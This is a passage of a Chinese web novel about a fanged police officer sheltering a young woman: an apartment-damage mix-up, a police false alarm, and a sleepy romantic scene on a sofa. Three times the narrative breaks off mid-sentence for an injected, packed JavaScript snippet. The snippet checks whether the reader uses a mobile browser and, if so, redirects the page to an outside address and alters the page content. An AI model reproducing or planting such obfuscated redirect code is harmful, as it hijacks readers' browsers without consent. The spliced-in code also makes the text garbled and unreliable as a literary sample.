“记得,”公冶转身,“那三具男性尸体撕咬处提取到的口腔黏膜脱落上皮细胞,其中一种DNA样本与林硕文的DNA样本无法匹配,也就是说——” “也就是说,”熊小滚仰起脸,面向窗外的朝阳,“当时案发现场,林硕文并非单独行动,至少还有一名美食家与林硕文共同参与了作案。” “可此人至今查不出来,现场监控被破坏,林硕文矢口否认,沈副及当时出现场的警察没有一个记得。” “不是查不出来,是他们不想查了,”熊小滚瘦削的背影逆在光里,他头一次在公冶面前表现得那么无助,“如果再出事,怎么办?” “希望不要,如果再出事,”公冶偏移视线,别扭地张口,“您还有……我们。” 所有的疲劳与压抑被他这声安慰安得烟消云散。熊小滚冷得搓胳膊,急忙去关窗,回了头,他的部下衣着轻便,像出来晨跑的:“怎么一大早来了?” “我来拿小银管,家里没有。” “你回家了?” “嗯,”公冶把双手背在身后,严肃正经,“要汇报个事。” 熊小滚一屁股坐进在老板椅,病恹恹地撩起眼,指着他:“别告诉我邓烟雨出事了。” “脚脖子紫了一块,问题不大,”公冶沉住气,说,“还有就是,她公寓不能住了,我把她公寓的窗户踢碎了。” 熊小滚一脸淡定,旋开茶杯盖:“吸毒美难抓我知道,我设想的最坏结果是你把地板干一窟窿然后明天闹上新闻。” 公冶肃然起敬:“还是您有先见之明。” “也不看看我是谁,我能白养你这么些年?”熊爹说着抬高了下巴,像只得意的柴犬,“那邓烟雨昨天安顿在哪?” “我家。” 递到唇边的热水没喝下去,熊小滚眼神一亮:“哦?” “可以吗?”公冶说,“如果您和简局允许,我让她在我家住一段时间,也方便我执行任务。” 熊小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579269|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚慢腾腾喝了口茶,转上杯盖,往后一仰,久违地露笑:“可以,我同意了,简局那边我来知会,但你镇血剂要备足。” “知道,”公冶去拉门把手,“那我晚上不来单位了。” “也是,晚上你要守着她,”熊小滚越想越不对劲,“哎等等,那你以后每晚值夜班,白天调休,岂不是一整天都可以不用来单位了?” 还是待在家里值夜班,是不是太爽了点? “对啊,”公冶往外走,见熊队直至此刻才幡然醒悟,趁关门之际,回头坏坏地露出个笑来,“就当我这两个月去度假了,拜拜。” 熊小滚:“……”……??? 啊?! “臭小子!有你这么偷懒的?!” 算盘打得真精。 接近午休时间,公冶拨通了邓烟雨的电话。 “你中午要吃什么?”电梯打开,他走进地下车库,警车挪空地停着了,他要开自己的车回去。 “我想吃……米线,”邓烟雨瘫在沙发上,翻阅公冶丢在茶几的杂志,“你出单位了吗?” “快了。” “可以去一趟中华街吗,那里正好有家做得不错的米线店。” 中华街一到休息点就人满为患,传言中国上下五千年的美食皆浓缩在此,缺乏经验的游客走进此地必得备一包健胃消食片。 “我记得离GS不远,出大门左拐,一直往前走,走到闹区就可以看见了。” “那条街我知道,”公冶抛着钥匙,“还有卖米线的啊。” “有啊,那家米线很火的!”邓烟雨翻了个身,顺手挑过一页杂志,两条小腿不由自主翘起,在空中来回摆动,“店名叫呼噜米线,红色招牌很显眼,他家的白汤三鲜米线巨好吃!” 地下一层,公冶正举着车钥匙,对着他那辆烧钱宝贝准备按下。 车子不久前才保养过,纯黑的车身无光自亮,奢气流转。 他收回钥匙:“好,我去买。” 呼噜米线的招牌是个吸着粉条,小眼销魂的胖老头,醒目到不用问路。他打包了一份三鲜和一份淡得没油水的青菜米线,坐在吧台那儿浏览着手机消磨时间。 “哈喽。” “哈喽帅哥?” 第一声公冶没有回应,他不觉得是在叫自己,直到那人拍拍他的肩,他才侧过眸子,盯了一眼。 “……嗨。” 两个搭讪的女生光看背影就冲动地上了,没想到对方是美食家,和他翠绿的眼睛一对上,她们的声音像钢镚子掉出,丁零当啷散了一地。 “那个,那个,这个……我们……” “我不是服务员,”公冶天真地以为她们不知道怎么点餐,热心肠地指着吧台里面,“你们找那阿姨直接点,或者手机扫码都可以。” “哦,哦哈哈,好好好,谢谢……” 长发女生尴尬得脸快挂不住,争分夺秒要闪人,而她身后的短发女生偏偏和她对着干,拿出手机冲上前:“帅哥,加个微信可以不?” 公冶:“……啊?” 短发女生漂亮的眼睛光芒闪烁:“交个朋友可以吗,你单身吗?” 米线打包好了,他也知道她们的意图了,在火辣辣的注视下拎起打包袋,为了拒绝,只好说:“我有女朋友了,不好意思。” 17. 功勋 与此同时,邓烟雨一目十行翻完杂志,想看电视解解闷,却找不到遥控器放在哪,百无聊赖的她在公冶家里东游西逛,每个地方探险了一遍。 最后在主卧隔壁的房间前停留下来。 这间房连通着客厅的大阳台,她在阳台啃蛋饼眺望风景时,发现房间的落地窗帘全拉了起来,气息隐秘。 不出意外该是书房吧。 邓烟雨这般想着,握住门把手。 话说,他看书吗?只怕成日里忙得总统都约见不着,多半又是间寸草不生的空房。 抱着看到一本书算我输的心态,邓烟雨毫无防备地推开门,一股类似档案室的沉旧的墨味扑鼻而来,在门磁吸“铛”一声吸上踢脚线的余音中,她如同撞见了巨人,呆立着昂起头,嘴巴张成“O”型,惊呆了。 十几平的空间里,琳琅满目的书籍多得令人透不过气来,有腰封崭新的也有杂旧泛黄的,皆乌隆隆压到了眼前。左侧一堵巨型书墙列下惊人的数目,书墙中央挂着一幅油画,是房间里唯一柔和开阔的色调。 邓烟雨目光颤悠悠往下掉,地板也被淹得无迹可寻,或厚或薄的硬壳精装书垒得像叠叠木,歪扭拖出线的台灯、复古的放大镜、折角的世界地图零散地丢在上头,角落斜挤着的那把梯子也成了拥挤的帮凶。 公冶不知是无聊过头了,还是因为无聊过头而激发了一些冷门趣味,有的书搭成螺旋楼梯一本一本爬到其他书山上乱哄哄摊开,有的被故意搞怪,贴着墙罚站军姿,还有的干脆当做一场失败的多米诺骨牌游戏,书本推倒至一半在转弯的当口卡住了,于是就这么……永永远远地卡在那。 至于怎么走进去,他大发慈悲留了一条蜿蜒如细水的小径。邓烟雨好半天才从震惊当中抽出意识,沿着唯一的小通道往里走。 艰难跋涉至书墙下,书墙中央的画作也逐渐清晰,是无穷无尽的蓝,由浅至深绘出空气的流动,凌乱的笔触像迸溅的鱼,席卷深海的气息。 好神奇的画,远观如平静泛白的夜空,近看就是台风天的雷暴。 她仿佛来到了市图书馆,有些莫名的紧张感。公冶珍藏的书大多涉及历史与地理,武侠漫画、科幻小说也买了不少,凡有便一套集全,专治强迫症担心看了上册没下册的毛病。荣誉证书、立功奖章、水晶奖杯、限量纪念摆件等个人嘉奖物品,默默无闻地收在不起眼的下方。 邓烟雨心动地蹲下来观赏。有一对纪念摆件十分吸睛,造型是国旗与国花交相辉映,成千上万簇紫露草开成一大片烂漫星光,金紫渐变着,迎接朝阳一般面向深情飞舞的紫花国旗。 她见了这个,喜欢得不得了,却碰都不敢碰。 血战前线,载誉而归,一身金章,满负伤疤——这些皆是公安警察荣膺的无上功勋,它们在记忆里、玻璃柜里静静闪耀,类极了自己的人生。可公冶似乎不愿看到,没有把它们放在触手可及的地方日夜观赏,而是像对待一瓶艺术氛围浓厚但味道泛泛的香水,推进一个黯淡蒙尘的角落。 或许,他不需要依赖物质奖励来提醒自己做个好人,纵然被异类的身份摁着脊梁,他沉重的赤心上始终养着一份家国情怀,奖杯吃了一抔复一抔的灰,可在他胸中的某个角落,那只奖杯折射着轻微永恒的光华,至死不灭。 邓烟雨擦了擦水晶杯上的灰尘,移开视线,走到最里面一排,对着洋洋洒洒的文字扫过去,猝然一顿。 她看到了赫彻的书。 不,整排都是赫彻的书! 她喜出望外,鉴于一室肃静,不敢叫出声,迫不及待去找最想看的——天鹅岭天鹅岭,一定要有天鹅岭……果真有! 比挖出伟大航线的宝藏还要激动,邓烟雨脸颊红扑扑,动作极小心,把尚新的《天鹅岭》取出来。 硬壳包装,书皮暗绿,书名烫金。邓烟雨一如在修复文物,打开第一页就花了好长的时间。 她化身一座孤岛,困在书海中央,沉醉地读了起来。 大门口响起解锁声,接着是车钥匙丢进玄关的收纳盘。公冶回来了。 邓烟雨读完序言最后一行,将书归还原位,像只脆萝卜啃到饱的小兔子蹦蹦跶跶跳出书海,踩着特滑的一次性拖鞋漂移出书房,朝公冶奔去。 “公冶——”她乐呼呼地冲过来,“警官”两个字噎在半道上。 公冶一身舒适的黑色运动服,在那摘耳机,阳光落过他的手,简单修美的动作不带多余的情绪。他挠了挠后脑勺,刚睡醒似的往客厅走,利落的短发在额前拓出淡淡阴影,半遮着没什么气势的眉眼。 凭借强健结实的体魄,接近零度的天,他依然不惧冷意,穿得像个买不起秋裤毛衣的穷小子。邓烟雨的视线不免多留了一会儿。 在她印象里,他就没有不穿制服的时候,要么里一套外一套的规矩端正,要么衬衫领不扣耳机线乱飞的大条草率,他穿私服太难见了,可能GS有严格规定公美执勤必须着装统一吧。 邓烟雨根本不知道,之前公冶去医院见她前的那副打扮有多狂草,拽得跟二五八万似的,墨镜一戴活脱脱一副杀上门讨债的黑|道风。 “去看书了?”公冶问。 “嗯嗯,”邓烟雨啄了啄头,说,“就翻了一本,其他没动。” “没事,有喜欢的随便拿来看,就是里面有点乱,我最近没整理,”他把米线放餐桌上,一瞥旁边的塑料袋,居然空了,“全吃完啦?” “我上午没事做,就一直在吃,”邓烟雨小手抓着椅子背,“……是吃太多了吗?” 他笑了,往厨房去时,顺手撩了一下邓烟雨乱蓬蓬的卷发:“做得好,没有浪费粮食。” 邓烟雨心一揪。 这感觉……像被领导表扬了。 还不错。 她嘴角弯起甜滋滋的笑,闻着三鲜米线的香味,两眼放光咻咻去拆了。公冶在厨房问:“要装到碗里吃吗?” “不用啦,我直接吃。” 用餐期间,邓烟雨发现他的米线清汤寡水,比鱼池子还清,便壮着胆子问:“你是素食主义者吗?” “我只是很少吃肉。” “不吃肉会不会营养跟不上啊?”邓烟雨嚼着软嫩的火腿。 “不会的,我自己身体会管理好,这点你放心。” ——言下之意是你把心放进盆地吧,我不垃圾的,有坏蛋袭击你,我一拳一个干跑。 “你下午还要去单位吗?” “以后白天可能都不去了,除非有特殊任务或紧急会议,白天我调休。” “这样,”邓烟雨福至心灵,脱口而出,“那我们……” “我们?” “啊不,不是,”邓烟雨想起蔡蔡的忠告,纠结半天,扭扭捏捏说,“你不和……和女朋友……出去约个会什么的吗,哈哈……” 公冶也不知是否听出了那层意思,略客气地笑了笑:“没有女朋友,我没时间谈。” “噢噢,原来如此。” 餐桌上重新静下来,但某人心里已经心花怒放一阵狂喜了。 筷子挑开香菜,她情不自禁喃喃:“我也没有……” “我知道。” 邓烟雨傻住了:“你怎么知道?” “熊队和我说的。” “熊警官怎么知道我没有男朋友?” “他听护士长说的。” “护士长……怎么知道我没有男朋友?” 公冶抬起眼,关爱地与她对视。 “你妈妈来医院看过你吧,”他就差从刑侦支队搬来个白板,把所有嫌疑人的大头照钉上面给邓烟雨圈圈点点了,“护士长照顾过你,你妈妈和护士长肯定会有接触,她们聊个天,一来二去的……” …… 护士长:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579270|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你姑娘生得是水灵哈。” 金曦:“那当然,还单身哟。” 护士长:“哎哟真哒?那得跟熊队打个招呼,好拿去队里介绍介绍呀!堂堂公安局有的是年轻气盛的小伙子,哈哈哈哈。” …… 一道晴天霹雳劈中了邓烟雨。 苍天啊——老妈你怎么走到哪里网就撒到哪里呢! 而且熊小滚还帮倒忙,撒错地方了,护士长明显意指刑侦支队那一边。 “怎么?”公冶见她脸色差,“我们没有刻意打听,你要觉得冒犯,我可以当做不知情。” “可我就想让你知道啊……” 这话轻极,宛如金鱼吐泡泡,公冶没听清,他想起件事:“对了,我下午要出去一趟。” “去哪里呀?” “你公寓,”公冶狼狈地说,“总不能让窗户就这么破着吧,我去看看。” “我和你一起去。” “不行,你待家里,”他从椅子那拎出一包药,“晚上涂下药膏,脚伤好了再出门。” “啊……那要等到啥时候,我这个月还能出门吗?”邓烟雨嘟了个脸,“你的伤也没好,凭什么你可以白天来去自由,而我只能关在家里。” “你是忘了你被标记了吗?” “熊警官说我白天身上很淡的。” “只是淡,不代表没有,熊警官是在给你打预防针,可没叫你由着性子大白天胡来,而且你要相信我的嗅觉,”公冶目光一落,盯得邓烟雨心口又是一波春风野火的躁动,“你现在还不能长时间出门,乖乖在家待着吧。” 邓烟雨听话地点点头,说:“你的伤呢?” “我伤好了。” “好了?这么快??” “断几根肋骨而已,对我来说都不算轻伤。”公冶起身去洗碗,轻描淡写抛下这句话,也抛下了邓烟雨的目瞪口呆。 出发前,邓烟雨找他问了遥控器。 “不在茶几上吗?”公冶一找,果真没有,难办地说,“可能被我丢在什么地方了,你用平板看剧吧,或者……地上找找。” “公冶警官,你家里虽然空得像个溜冰场,但要真心去找一件东西时,也是得付出精神方面的代价的。” “我就当你夸我了,”公冶换好鞋,“要带啥东西回来吗?” “书。” “书重死了。” “咳,我其实有好多绝版老书,金庸的,古龙的……” “书名发我。” 嘿嘿,看我还不拿捏你——邓烟雨一脸坏笑。 “漫画,再给我带几本漫画吧,”她可怜巴巴扒着门,“还有桌子上的护肤品和化妆品,手办也帮我拿一个吧,我要小太阳的手办。” “小太阳是哪个?”公冶满头问号。 “就橘色头发,拿着排球,穿10号球衣,超级可爱的男孩,我手机上有照片一会儿发你。还有水杯也帮我带一个,就一个,我要青蛙水杯……” 公冶知道自己上当了。 邓烟雨有点不好意思,但还是扮起可爱来,学蛋宝的样子,忽闪忽闪水灵灵的杏眸:“求求你啦公冶警官,你最好了。” “……” “我、我知道了,别这样看我。” 他带着那颗凌乱的大脑转身离开,邓烟雨殷勤地一路把他送出入户花园,热情洋溢地挥手说拜拜,正好对面邻居出来,邓烟雨记着他的话,跑回去嘭地关上了门。 邻居来到电梯口,和公冶一起等电梯,半晌: “恭喜啊,怎么都没个通知,害我们喜糖也没吃上。” 公冶:“……”?? 邻居拍拍他肩:“下次再办记得叫我,我也好补你个份子哈。” 电梯来了,邻居哼着小曲走进去,公冶跟在他后面,一直到底楼,他都没编出合适的理由解释这场误会。 18. 乌龙 午后风大了起来,广场中央的充气圣诞老人被吹得脸色发青,感觉下一秒就要自“爆”自弃。公冶开车来到商场地下,兜兜转转,寻了个位子停。 他可不会明火执仗地去停上弦街,那条街是大名鼎鼎的贴条雷区,经常尾气还没散光,雨刮器下就夹了一张负债两百的白纸。满月区最爱干这个,尤其这破地贴得狠,挪车短信都不给发,主打的就是一个惊喜。 公冶昨晚开警车,多少抱着点侥幸心理,往边上一刹就不管了。今天他可得端稳自己的饭碗做个遵纪守法的好市民。这都年末了,交警队也神出鬼没,他再有钱,也不愿白白给同行们冲业绩。 步行至晓月公寓,在楼下他就听见公寓前台热闹得很,走近了看,有男有女大约五六个人,趿着布拖鞋,穿着摇粒绒睡袍,一看便知是租户,送外卖取快递的被他们堵得只能侧身通过。 用脚趾头想想也知道,这一个个事主们必是要为昨晚的“顶上战争”来讨个说法了。 租户一时半晌不会散,公冶硬着头皮走进去,趁乌泱乌泱的争吵声如收到预警一般同时安静下来的瞬间,见机插上一声:“你好,我找管家。” 所有人回头,一个头戴棒球帽,身上只套一件深色风衣的陌生男子携着冷气站在门口,他个头很高,帽檐遮下一方阴暗,覆住了表情。 年轻男管家快喊不动,喉咙烧着一把干柴烈火,哑着嗓子应声,公冶视线随即钉过去,管家和他漆黑寡淡的双眼相触,脊背不寒而栗。 公冶戴美瞳了。 GS有条不成文的规定,公美执行任务过程中,要求去到某些特殊场合,比如学校、婚宴、音乐厅、私人会所这种人流集中或环境隆重的场地,出于人道主义考虑,他们可以戴有色隐形眼镜合理掩饰身份。公冶来这只想尽快解决窗户破损的问题,该赔偿赔偿,该换新换新,美食家身份容易引起骚动,所以他特意找了一盒日抛在车里戴上了。 “你好,是看房吗?” “707房间的窗玻璃……” “啊你707的?”不等他说完,有两个自他进来就唯恐避之不及的女生立马跳起脚,“我记得707是个女生在住啊,你是她……?” 公冶和管家说:“那屋子的窗玻璃碎了,我弄坏的,今天来处理。” 管家下巴快惊掉:“你为什么要弄坏我们公寓的窗户,是落地窗?” “对,落地窗,”公冶即兴扯了个说辞,“昨天家里进贼,非常抱歉,吵到大家了。” “我就说嘛……”一伙人怨声载道地围在那,把矛头调向公冶,“昨晚吵得半死,进贼还不报警,逞什么英雄……” “好啦好啦我知道啦,我这还一摊子麻烦呢,回头再说!”转角口下来个烫着一头羊毛卷的中年大妈,八成已经刮了一耳朵闲话,挂掉电话就盛气凌人地冲着公冶指指指,“你说你搞坏的是吧,啊?就你搞坏的我们窗户?来来来你说说那么牢固的窗你咋搞坏的?” “踢的。” “踢——踢的???” “嗯,地板也坏了,墙也是。” “哈!好呀,太好了!我真活见鬼了,来你跟我来楼上,我真服了,昨天凌晨一帮子人给我发消息打电话跟我说707在大闹天宫快把楼给掀了,我今早来敲你门,你还不在!好呀,砸了我的房子就想跑路?” 大妈看租户们还杵着,拜托地甩了一下手:“好啦帅哥美女们,回屋吧,站在风口多冷啊,这家伙不都交代了吗,他呱一脚踢的!” “这算扰民啊,我要报警的!”有个男生不依不饶,听口气是昨晚来哐哐捶门的,“什么素质啊,哎楼上楼下隔壁全都吓死了,阿姨你是不知道他们搞得多大声,我吓得心脏病要犯了!” “昨晚是个意外,”公冶歉意诚恳,“真的非常对不起,以后我不会再发出噪音扰民。” “我他妈都被你搞得噪敏了!”男生嘴巴里小声叽歪着脏话,“707是个女生在住,你是她谁啊?每天晚上都来?床都要给你干塌了吧。” 有人听不下去了:“我去,你706的吧?” “干嘛?” “你噪敏个屁!你每天半夜打游戏放音乐,我还没说你啥呢!”凶巴巴的高个子女生是他邻居,显然积怨已深。 “我也举报!我是他楼下!他每晚十点以后走来走去拖椅子砸地板砸门!” 男生涨红了脸:“商业楼墙体不隔音!这你们不懂吗?!是707素质低下恶意扰民!攻击我干什么!我都神经衰弱了!” “你有脸说神经衰弱?多少人投诉过你!自己心里没点数?这里谁都有资格谴责707,就你没有!” “好啦好啦——不管是707还是706,我会和他们再做沟通的!大家行行好先回吧,天多冷啊!” 吵来吵去无非是个人素质和公寓安全的问题,前者就算了,后者可不能由着他们“贼啊偷啊”地乱喊。大妈抬抬这位哄哄那位草草收场了大战,忍不住上下打量公冶,这是个不折不扣的真帅哥,她语气友善多了:“你跟我来吧。” 坐电梯的时候大妈还在过来人地唠叨:“我说你们小年轻啊,以后办事声音稍微小点,这东邻西舍的听见,影响多不好。” “您误会了,”此刻,公冶的脸色和广场上的充气圣诞老人如出一辙,铁青得没分毫余地,“我只是打了个架。” “打架?对啊,我就说你们打架嘛,玩闹嘛,咝……我就奇怪了,你们干啥了还能踢碎窗户啊?真的小伙子,我跟你说,那什么还是悠着点来吧,你们人生才开始啊,以后有的是日子,何必急在这一时。” 公冶快要听不下去了。 来到七楼,他根据邓烟雨给的密码开门。门一打开,过堂风凶猛拂来,屋内一览无遗,大妈脸上八卦的笑容彻彻底底凝固了。 房间像个爆炸的垃圾场,比昨天还杯盘狼藉,大抵是今天风大,又给这一地冷饭炒了一遍。 大妈嘴巴都气歪了:“你你你……” “你你你把我落地窗一块不剩全踢碎了?!我的地板怎么翘了?!我的墙怎么掉皮了?!我的桌——我的,我的上帝啊——” 公冶故地重游,精神状态尚可:“我都会赔的,您算算。” “还让我算?!这这这……” 碰上这档子事,石佛都头疼。大妈快昏过去了,气得拍大腿,在屋子里团团打转,速效救心丸抠出来两粒,缓了一阵再放回去,食指跟抽风一样,使劲点了点公冶,斩钉截铁地说:“我要报警。” 公冶见她态度一转判若两人,纳闷了:“我就是来赔偿的,报警更麻烦,我们私下协商解决不行么?” “赔偿?你得赔我一栋房你知道吗?!” 大妈捂着绞痛的胸口,如丧考妣地坐在唯一完好的木椅子上。 “孩子,我不跟你废话了,我是看你脸生得好,人也是个明白人,还想算你个折扣,结果你这给我糟蹋的……直接让我去翻新啊!不行我一定要报警,那些租户跟我说你们昨天晚上不止打啊,还叫啊,从门口搞到阳台,你们这是玩疯了啊,年轻人!我必须……对对,还有人说听到什么……毒?他们说你们吸毒!嗑药啊!这是违法的小伙子,我跟你说,这事我必须拿到警察那里翻个明白!你今儿别想走了!” 大妈正义之火熊熊燃烧,说完就做,噼里啪啦拨通电话,公冶懵得都来不及阻止,她已经在那里“喂警察同志啊,出人命了,我这抓了个吸毒的!”。 五分钟后,派出所和禁毒大队的人来了。 公冶坐在一边,垂着头捂着脸,真恨没个地洞钻。 禁毒大队对这片太熟悉了——怎么?二刷?昨天没扫干净?大妈激动地指着公冶:“就他!嗑药磕疯了啊,把我房子拆得……” 派出所没人认识公冶,上去就让他自觉伸手,看这架势真要铐走。还是大队里有个眼力老辣的老同志, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579271|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他和市局禁毒支队、GS总部以前联手破获过一起特大制毒案,打过几次交道。 “影青?” 他似是而非地叫出口,公冶闻声,放下手,脸皮再厚也快撑不住。 “你是影青吧?” 影青……一听就是代号,他是公美?公美吸毒?大伙的脑子快转废了,只见公冶凄凉地抬起头,与月河分局禁毒大队来了一场死寂的对视。 老同志:“你……你干嘛呢?” “我来赔窗户,昨天抓吸毒美,把窗户踢碎了……” 在场警察全部石化。 好大一个乌龙,丢脸丢掉太平洋了。 “阿姨,那个,误、误会……” 警察们尴尬得各个返祖抓耳挠腮,却不得不上前解释,在管理员大妈一声声茫然的“啊?啊?”的单音中,公冶胸口也绞痛起来了,还有一帮幸灾乐祸的拍他肩膀,边笑边安慰:“没事没事,不会传到熊队耳朵里的。” 这大概是他们从业以来遇到的最可笑的一趟出警,等会回办公室指不定宣扬得天上的太奶都知道。 “你小子,就是不会讲话,多大点事让你搞成这样,平常别光顾着体测满分达标,嘴皮子也要练的,晓得伐?” “晓得了。”公冶只能服管。 “哎呀没事没事,哈哈哈,真被你整惨了,放心!熊队那不会说的。” 这名老同志还挺喜欢公冶,虽然平日见他总是独来独往,和女警察聊天也是别人嘻嘻哈哈十句他就只干巴巴憋出一个字,但工作能力确实出色,迄今攒下来的成绩可得全市通报表扬光荣上榜。 等人散了,一个下午,公冶不止掏了大把钞票,还打扫了屋子,大妈闹了一出笑话也惭愧,窗户换新就不赖给他,自认倒霉亲力亲为了。 他还记着给邓烟雨带东西,把小破桌上的瓶瓶罐罐皆装起来,手办和水杯也装起来,书揣了一大袋,下午四点,他准时回到了家。 从来没那么累过,公冶头疼欲裂,往沙发上一倒,没声了。 邓烟雨在书房泡了一天,睡着了,朦胧间听到外面传来声音,她眼睛酸得没能睁开,再醒来时已是傍晚六点。 她走出书房,来到客厅,先发现茶几下那一大袋物资,接着目光不受控制地移向沙发。 沙发上,公冶渡莲盖着薄毯,睡得非常非常沉。 他一只手掉在外面,腕骨轻垂,黑发乱糟糟地散开,一侧的脸埋在柔软的靠枕里,长睫轻颤遮落。 眉间眼底一贯的冷静自持,在这一刻统统卸下,他姿态放松,呼吸均匀,睡相不设任何防备,像只陷入深度睡眠的大猫咪。 邓烟雨生怕惊动他,在他跟前蹑手蹑脚地蹲下。 这会儿,她就敢明目张胆地看他了。 公冶紧闭的眼睛下方有两痕乌青,是长期熬夜和过度劳累造成的,使他看起来消瘦许多,邓烟雨原本暖洋洋的心情一下子落灰了。 说起来,他从昨晚到现在就没睡过觉,难怪困成这个样子,加上夜间执勤不可以休息,白天也为了自己东奔西走,人不垮才怪呢。 他太累了。 他那么累,我还考虑不周到,这样那样地使唤他。 邓烟雨抱着膝盖,万分自责地缩在他身边,咬紧下唇。 她想起之前给爸爸买过一个改善血液循环的养生手环,效果还不错,就乖乖依偎在他身边,上网搜索。 这期间,公冶越睡越往外,要摔下沙发了,邓烟雨忍不住戳戳他脸蛋。 软的。 还是不使坏了。邓烟雨放下手机,轻轻托着他的肩膀往里推了推。 动静很小,可公冶即使在睡梦中也比较敏感,他眉头一皱,大概是觉得肩膀冷了,要毯子。他伸手,啪一声抓到了什么,迷糊之中他想也没想,果断朝自己这边拽—— “等!” 邓烟雨就被他这么抓着,往沙发上一带,栽进了他的怀抱。 19. 敏感点 衣服上残留的清香,混合着他身上清爽的味道,在鼻下不经意一过,像是搔到了痒处,邓烟雨不敢呼吸,被他触碰的肌肤阵阵发热。 ……什么情况。 公冶卷着毛毯,翻了个身,把她带进沙发内侧,邓烟雨无力招架地让他压去了里面,背抵着沙发靠背,身子迎住他。 头顶睡声仍然那么温和轻缓,而她是遭逢夹击的败将,四面受敌,给重重困住了。 她的长发卷曲着,淌在他结实的臂膀上,有一缕发丝落在他的颈窝处,公冶嫌痒,箍着邓烟雨的手伸上来,把发丝粗鲁地拂去,一点都不绅士,不过这一下的动作倒是带起了她的发香。 睡着的他对外界的感知并不弱,只觉得本该空荡荡的怀中多出了一团软乎乎的不明物体,十分适合抱在怀里取暖揉捏。 邓烟雨见他松开了,慌忙要爬起来,他不给邓烟雨挣脱的机会,凭借本能再一次用力搂紧了她。 邓烟雨:救命啊…… 公冶奇怪这是什么东西,甜美又舒服,像颗会动的棉花糖,他以为是自己前不久禁糖的关系,身体急需发泄,做了一个甜食梦,遗憾的是在虚假的梦境里他也只能光搂着,吃不了。 邓烟雨在他臂弯里战战兢兢任由摆布,终于等到这人不响不动了,她慢慢摊开握出汗的掌心,抵住对方的胸膛。 她的手很凉,他的胸膛很炽热。 邓烟雨仰起通红的脸,近距离观察——他外套拉链没拉,里面只穿了一条宽松白短袖,胸膛以上该露的都露着。 若是再低一点…… 邓烟雨手指勾住他的领口,头脑风暴中,呼吸也变烫了。 不行,这太流氓了,虽然是他先诱惑我的。 是他先抱她的。所以邓烟雨没有全怪自己,八分怪自己,两分还要怪他。 她准备收回手指,结果熟睡的人偏偏不依了,略微调整睡姿,领口自然而然地垂落。 天呐。 快要看到……胸肌了…… 邓烟雨手指僵在那,一点没动,又害怕又期待,眼睛还闭住了,在紧要关头一个心急,指甲刮到了他的肌肤。 公冶眉间轻动,她差点叫出来。 邓烟雨像被蜇了一口,缩回手指,捏紧成拳,质问自己在干什么!太没出息了! 被抱得好热。 她试探地动了动,在他怀里一张一弛谨慎施展,像只壁虎扭了半天,也没扭出个究竟来,最后累得伏在他胸口喘气,心想不如就这样一觉睡到天亮吧? 她换了个躺平的姿势,枕着他的手臂,静悄悄地瞧他。 窗外华灯初上,圣诞氛围浓厚。 邓烟雨并无倦意,肚子也开始咕咕叫了。 她承认很享受在他怀抱里的感觉,可眼下她需要进食…… 公冶还在睡。 这应该是他这个月以来最纵容自己的一次深眠。邓烟雨光看也没劲,手指隔着空气,描绘他沉毅的面庞,隔靴搔痒地抚至唇边,她目光迷离了。 美食家在正常状态下,獠牙也是成形的,只不过变小了,乖乖地和其他牙齿并排躲在一起。 公冶睡得太无拘无束,虽说不至于把变异状态一股脑睡出来,但也容易跑出一些失态的情况。 于是,一颗尖牙,再也藏不住,偷偷露了出来。 邓烟雨出神地盯着这张略显狡黠、恶魔气息的睡脸,喉间一紧。 一颗……好可爱的小獠牙。 跟虎牙一样。 怦然心动的感觉流遍全身,她对眼前这个男人停止不住地好奇,想知道他更多不为人知的一面,手指大胆地伸过去,轻轻戳在他的獠牙上。 他如果呲牙会是什么表情?像嗷呜炸毛的猫咪吗? 邓烟雨感受着獠牙尖利一端往肉里钻,只要再使一点劲,她的指腹就会被这颗尖牙刺破,沁出血珠。也只需一滴血,便可滴断他悬在弦上的理智。 公冶大约是被戳中了敏感点,不乐意了,眉头轻拧,拖长慵懒的尾音,不悦地“嗯……”出一声,别开脸,埋去枕头里继续放纵地沉睡。 邓烟雨收回了手,握在心口。 好可爱啊啊啊—— 她捧着自己滚烫的脸,心头的小鹿害羞极了在一个劲滚来滚去。公冶察觉怀中的热意在无限膨胀,胀得自己也好热,便放开邓烟雨,身体一转,手臂随性地举过头顶,搭在了沙发扶手上。 邓烟雨被他捞着,又是这么一带,整个人顺其自然趴到他上面,直接骑在了他的小腹上,双臂撑在两边,长卷发散落,落了他一身。 这个姿势…… 她的脸熟成水蜜桃。 男人沉睡的五官如雕刻般完美,碎发的发尾勾着眼尾,颈部露给了她,锁骨很有力量地延伸,衣领松垮,该遮的都没遮住。 邓烟雨眼睛都直了,无声咽了口唾沫。 下去吧…… 饿了,要去吃东西。 